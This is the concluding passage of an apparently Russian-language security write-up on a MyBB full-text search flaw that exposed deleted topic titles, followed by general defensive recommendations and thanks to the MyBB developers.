Итак, мы показали, что современные векторы атак уже давно вышли за рамки классических SQL-инъекций, нацеленных на синтаксис. Злоумышленники все чаще ищут «старыми» путями новые уязвимости — например, через функции поиска и особенности работы с шаблонами (регэксами и булевым полнотекстовым поиском). На практике это привело к реальной находке — уязвимости в MyBB, которая позволяла извлекать заголовки удаленных тем без аутентификации.Полнотекстовый поиск и продвинутые поисковые операторы используются повсеместно и часто требуют минимальной валидации ввода. Поскольку продуктовые команды и разработчики привыкли доверять встроенным функциям СУБД, многие потенциально опасные сценарии остаются незамеченными до тех пор, пока кто‑то не проведет целенаправленный аудит или фаззинг.
Что делать, чтобы избежать таких атак:
- относиться к любому пользовательскому вводу как к потенциально враждебному — и фильтровать или нормализовать его;
- не полагаться на выражения escape/prepared как на универсальное средство — они не защищают от особенностей булева полнотекстового поиска;
- вводить белый список для символов и шаблонов, разрешенных в поисковом выражении, либо явно экранировать или удалять спецсимволы полнотекстового поиска;
- логировать и мониторить неудачные и подозрительные паттерны поиска (частые запросы, похожие на фаззинг, массовые попытки перебора префиксов);
- для критичных операций показывать только метаданные (количество совпадений) или применять флаги видимости на уровне приложения;
- проводить регулярный аудит кода и фаззинг‑тестирование поисковых функций, обновлять сторонние компоненты (как это сделал разработчик MyBB).
Напоследок хочу поблагодарить команду MyBB и в особенности Devilshakerz за оперативное решение проблемы!